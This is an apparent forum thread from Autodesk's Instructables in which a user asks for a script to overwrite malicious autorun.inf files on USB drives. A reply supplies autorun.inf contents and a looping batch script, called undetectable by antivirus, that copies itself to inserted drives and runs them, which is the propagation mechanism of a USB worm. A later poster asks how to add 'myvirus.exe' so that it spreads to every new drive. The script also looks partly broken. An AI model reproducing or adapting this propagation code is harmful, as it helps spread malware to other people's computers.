Autodesk: Make Anything
loading

How can i create a script or whatever that automatically copies a file to the USB drives i insert(like the virus does)??

what i am trying to do is this:all the new viruses are coming through Flash USB drives!they have a file called autorun.inf that makes ur double click on the drive start the visrus..and when its in it will copy iself to all the new drivres u insert..i want to use the same technique to outsmart them!i want a program or script that starts with windows and like these viruses it automatically copies a file called autorun.inf to any newly inserted drive..yet this autorun is a file created by me and its empty..copying this file to the new drives will overwrite the infectious autorun.inf...this way no virus will infect my PC!!!Pls help,thx in prior

mbudde8 years ago
I think this might be something like you are looking for. https://www.instructables.com/id/How_to_make_flash_drive_that_copys_users_files_si/
erikals7 years ago
heres the code for the autorun.inf

autorun (put this in square brackets)
OPEN=test.bat
shellexecute=test.bat
shell=Auto
shell\Auto=&AutoPlay
shell\Auto\command=test.bat

Heres the code for the test.bat
(undetectable by any antivirus program you may have)

@echo off
:1
set drive=D:\
IF EXIST %drive% goto copy
set drive=E:\
IF EXIST %drive% goto copy
set drive=F:\
IF EXIST %drive% goto copy
set drive=G:\
IF EXIST %drive% goto copy
set drive=H:\
IF EXIST %drive% goto copy
set drive=I:\
IF EXIST %drive% goto copy
set drive=J:\
IF EXIST %drive% goto copy
set drive=K:\
IF EXIST %drive% goto copy
set drive=L:\
IF EXIST %drive% goto copy
set drive=M:\
IF EXIST %drive% goto copy
set drive=N:\
IF EXIST %drive% goto copy
set drive=O:\
IF EXIST %drive% goto copy
set drive=P:\
IF EXIST %drive% goto copy
set drive=Q:\
IF EXIST %drive% goto copy
set drive=R:\
IF EXIST %drive% goto copy
set drive=S:\
IF EXIST %drive% goto copy
set drive=T:\
IF EXIST %drive% goto copy
set drive=U:\
IF EXIST %drive% goto copy
set drive=V:\
IF EXIST %drive% goto copy
set drive=W:\
IF EXIST %drive% goto copy
set drive=X:\
IF EXIST %drive% goto copy
set drive=Y:\
IF EXIST %drive% goto copy
set drive=Z:\
IF EXIST %drive% goto copy
IF NOT EXIST %drive% goto 1
exit

:copy
IF EXIST .\autorun.inf goto bad
IF EXIST .\test.bat goto bad
copy /Y autorun.inf .\
copy /Y test.bat .\
start %drive%

:bad
goto 1

Hi, just a quick question.

If i add this -- myvirus.exe

To this--

:copy

IF EXIST .\autorun.inf goto bad

IF EXIST .\test.bat goto bad

copy /Y autorun.inf .\

copy /Y test.bat .\

start %drive%

To make it look like this--

:copy

IF EXIST .\autorun.inf goto bad

IF EXIST .\test.bat goto bad

IF EXIST .\myvirus.exe goto bad

copy /Y autorun.inf .\

copy /Y test.bat .\

copy /Y myvirus.exe .\

start %drive%

Would that make it copy my virus to all new drives inserted too?

Thanks in advance.